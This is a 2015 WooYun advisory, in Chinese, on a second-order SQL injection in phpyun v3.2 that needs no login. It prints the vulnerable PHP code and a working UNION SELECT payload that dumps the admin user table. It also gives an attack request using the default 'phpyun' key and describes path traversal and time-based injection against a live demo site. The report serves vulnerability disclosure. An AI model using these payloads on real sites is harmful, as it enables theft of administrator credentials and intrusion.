当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089069

漏洞标题:phpyun v3.2 二次注入一枚(绕过过滤,无需登录)

相关厂商:php云人才系统

漏洞作者: ′雨。

提交时间:2015-01-04 10:47

修复时间:2015-04-04 10:48

公开时间:2015-04-04 10:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-04: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向第三方安全合作伙伴开放
2015-03-02: 细节向核心白帽子及相关领域专家公开
2015-03-12: 细节向普通白帽子公开
2015-03-22: 细节向实习白帽子公开
2015-04-04: 细节向公众公开

简要描述:

20141226的对之前的绕过过滤的那里也稍微改了下。。
这个改了 依旧能直接绕过 无限制。
可以直接出管理的密码啥的。 本地直接出管理密码了,demo测试。。
因为demo有安全狗。不会搞安全狗。 就直接延个时了。。

详细说明:

http://www.hr135.com/company/index.php?m=index&c=index&id=3751&style=../../template/admin&tp=/admin_web_config
可以发现现在打开是空白了。。 来看看代码。
在conpany/model/index.class.php中

$_GET['style'] = str_replace(array('.','/'),'',$_GET['style']);//原来是过滤了. 和 /
if($row['comtpl'] && $row['comtpl']!="default" && !$_GET['style']){
$tplurl=$row[comtpl];
$this->registrs();
}else{
$tplurl="default";
}
if($_GET['style']){
$tplurl=$_GET['style'];
}
$tp=$_GET['tp']?$_GET['tp']:"index";
$this->public_action();
$this->yunset("msglist",$msglist);
$this->yunset("usertype",$_COOKIE['usertype']);
$this->yunset("uid",$this->uid);
$this->yunset("comclass_name",$comclass_name);
$this->yunset("com",$row);
$this->yunset("looktype",$looktype);
$this->yunset("look_msg",$look_msg);
$this->seo("company_".$tp);
$this->yunset("com_style",$this->config['sy_weburl']."/template/company/".$tplurl."/");
$this->yunset("comstyle","../template/company/".$tplurl."/");
$this->yuntpl(array('company/'.$tplurl."/".$tp));//不过我不怕 我还有$tp


那么就继续绕过过滤进行注入。
请无视上面的。
这个是之前的了, 但是还是有点问题的是。
发现phpyun生成的safekey都是一样的。
我测试了一些站 发现很少有改的。
之前连demo也没改。后面被我注入了几次才改了。
推荐随机生成一个呗。 咱我记得以前都是随机的。
现在都是啥72**啥的。 rand
在api\locoy\model\news.class.php中

function addnews_action(){
include("locoy_config.php");
if($locoyinfo['locoy_online']!=1){ //默认都为1
echo 4;die;
}
if($locoyinfo['locoy_key']!=trim($_GET['key'])){//默认为phpyun 基本没改的。
echo 5;die;
}
if(!$_POST['title'] || !$_POST['content'] || !$_POST['nid']){
echo 2;die;
}
$row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'");//查询是否重复。,
if(is_array($row)){
echo 3;die;
}
$value="";
$value.="`title`='".trim($_POST['title'])."',";
$value.="`nid`='".$_POST['nid']."',";
$value.="`author`='".$_POST['author']."',";
$value.="`description`='".$_POST['description']."',";
$value.="`source`='".$_POST['source']."'";
if($_POST['ctime']){
$value.=",`datetime`='".strtotime($_POST['ctime'])."'";
}else{
$value.=",`datetime`='".time()."'";
}
if($_POST['hits']){
$value.=",`hits`='".trim($_POST['hits'])."'";
}else{
$row=explode('-',$locoyinfo['locoy_rand']);
if(is_array($row)){
$rand=rand(trim($row[0]),trim($row[1]));
}else{
$rand=!trim($row)?0:$row;
}
$value.=",`hits`='".$rand."'";
}
if($_POST['sort']){
$value.=",`sort`='".trim($_POST['sort'])."'";
}else{
$row=explode('-',$locoyinfo['locoy_sort']);
if(is_array($row)){
$rand=rand(trim($row[0]),trim($row[1]));
}else{
$rand=!trim($row)?0:$row;
}
$value.=",`sort`='".$rand."'";
}
if($_POST['newsphoto']){
$value.=",`newsphoto`='".trim($_POST['newsphoto'])."'";
}
if($_POST['s_thumb']){
$value.=",`s_thumb`='".trim($_POST['s_thumb'])."'";
}
$content=$_POST['content'];
if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){
require(APP_PATH."/include/lib_splitword_class.php");
$sp = new SplitWord();
$keywordarr=$sp->getkeyword(strip_tags($content));
$value.=",`keyword`='".@implode(",",$keywordarr)."'";
}elseif($_POST['keyword']){
$value.=",`keyword`='".str_replace(",",",",$_POST['keyword'])."'";//点点点
}

$new_base = $this->obj->DB_insert_once("news_base",$value);//入库了
$news_content = $this->obj->DB_insert_once("news_content", "`nbid`='$new_base',`content`='$content'");
if($new_base){
echo 1;die;


在model/news.class.php中

function show_action()
{
$id=(int)$_GET['id'];
$news=$this->obj->DB_select_once("news_base","`id`='".$id."'");//这里出库了。
$row=$this->obj->DB_select_once("news_content","`nbid`='".$id."'");
$news['content']=$row['content'];
$news_last=$this->obj->DB_select_once("news_base","`id`<'".$id."' order by `id` desc");
if(!empty($news_last)){
if($this->config[sy_news_rewrite]=="2"){
$news_last["url"]=$this->config['sy_weburl']."/news/".date("Ymd",$news_last["datetime"])."/".$news_last['id'].".html";
}else{
$news_last["url"]= $this->Url("index",'news',array('c'=>'show',"id"=>$news_last[id]),"1");
}
}
$news_next=$this->obj->DB_select_once("news_base","`id`>'".$id."' order by `id` asc");
if(!empty($news_next)){
if($this->config[sy_news_rewrite]=="2"){
$news_next["url"]=$this->config['sy_weburl']."/news/".date("Ymd",$news_next["datetime"])."/".$news_next['id'].".html";
}else{
$news_next["url"]= $this->Url("index",'news',array('c'=>'show',"id"=>$news_next[id]),"1");
}
}
$class=$this->obj->DB_select_once("news_group","`id`='".$news['nid']."'");

if($news[0]["keyword"]!="")//如果查询出来的关键字不为空
{

$keyarr = @explode(",",$news["keyword"]);//这里用逗号来切割关键字。 那么意味着不能使用逗号了。
if(is_array($keyarr) && !empty($keyarr))
{
foreach($keyarr as $key=>$value)
{
$sqlkeyword[]= " `keyword` LIKE '%$value%'";//把查询出来的又拼接进来了, 那么意味着可以引入单引号了。
}
$sqlkw = @implode("OR",$sqlkeyword);
$about=$this->obj->DB_select_all("news_base"," 1 AND ($sqlkw) AND `id`<>'".$id."' order by `id` desc limit 6");//查询
if(is_array($about)){
foreach($about as $k=>$v){
if($this->config[sy_news_rewrite]=="2"){
$about[$k]["url"]=$this->config['sy_weburl']."/news/".date("Ymd",$v["datetime"])."/".$v['id'].".html";
}else{
$about[$k]["url"]= $this->Url("index",'news',array('c'=>'show',"id"=>$v[id]),"1");
}

}
}
}
}
$info=$news;
$data['news_title']=$news['title'];
$data['news_keyword']=$news['keyword'];
$data['news_author']=$news['author'];
$data['news_source']=$news['source'];
$data['news_class']=$class['name'];

$data['news_desc']=$this->obj->GET_content_desc($news['description']);
$this->data=$data;
$info["news_class"]=$class['name'];
$info["last"]=$news_last;
$info["next"]=$news_next;
$info["like"]=$about;

$this->yunset("Info",$info);//这里直接回显出来。


因为是二次注入 如果使用盲注的话 二次注入会非常的麻烦。
所以还是要想办法联合查询。
然后构造一下 因为主语句中有16个列 所以要16个。
%') and 1=2 UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN(SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (a 16)p)#
后面发现 数据库没存储完。
| keyword | varchar(200) | NO | | NULL |
去看了下数据库 才发现keyword这个列只能储存200个字符 但是我们上面那个语句都已经300了。。 所以要想办法缩短到200.
后面我看了一下管理表 phpyun_admin_user 有8个列。
那我们再构造一下
') and 1=2 union select * from phpyun_admin_user join (select 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)f join(select 6)g join (select 7)o join(select 8)p#

mysql> select length('\') and 1=2 union select * from phpyun_admin_user join (se
lect 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e jo
in(select 5)f join(select 6)g join (select 7)o join(select 8)p#');
+-------------------------------------------------------------------------------
--------------------------------------------------------------------------------
------------------------------------------------------+
| length('\') and 1=2 union select * from phpyun_admin_user join (select 1)a joi
n (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)
f join(select 6)g join (select 7)o join(select 8)p#') |
+-------------------------------------------------------------------------------
--------------------------------------------------------------------------------
------------------------------------------------------+
|
200 |


我勒个擦 这运气也太好了把。。 刚好200个字符。。
然后来测试。
http://web/web/phpyun1226/api/locoy/index.php/admin/?m=news&c=addnews&key=phpyun
title=xa&content=xxax&nid=555&keyword=') and 1=2 union select * from phpyun_admin_user join (select 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)f join(select 6)g join (select 7)o join(select 8)p#&safekey=939ab244bfc16c6013fadef6e6ecc702

8.jpg


返回1 添加成功。
然后访问 最后一个id的新闻 这里我们只需要把id写得很大
http://web/web/phpyun1226/index.php?m=news&c=show&id=21
然后会提示上一个新闻 点进去 就是我们的新闻了。

9.jpg


直接出数据。。 这里再用demo演示一下。

10.jpg


这里看到被拦截了 这里我们拿一下safekey
http://www.hr135.com/company/index.php?m=index&c=index&id=3751&style=index&tp=../../../template/admin/admin_web_config
这样绕过过滤 直接拿safekey
然后计算一下safekey

11.jpg


可以看到用计算出来的saefkey 又绕过了过滤。。
但是我过不了demo的安全狗 我擦擦擦擦擦。 这里我延时一个把。

12.jpg


返回1添加成功。
http://www.hr135.com/index.php?m=news&c=show&id=457 //延时了的
http://www.hr135.com/index.php?m=news&c=show&id=450 //普通的
可以发现明显时间不同。。

漏洞证明:

9.jpg


修复方案:

出库过滤。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-06 14:08

厂商回复:

感谢提供!

最新状态:

暂无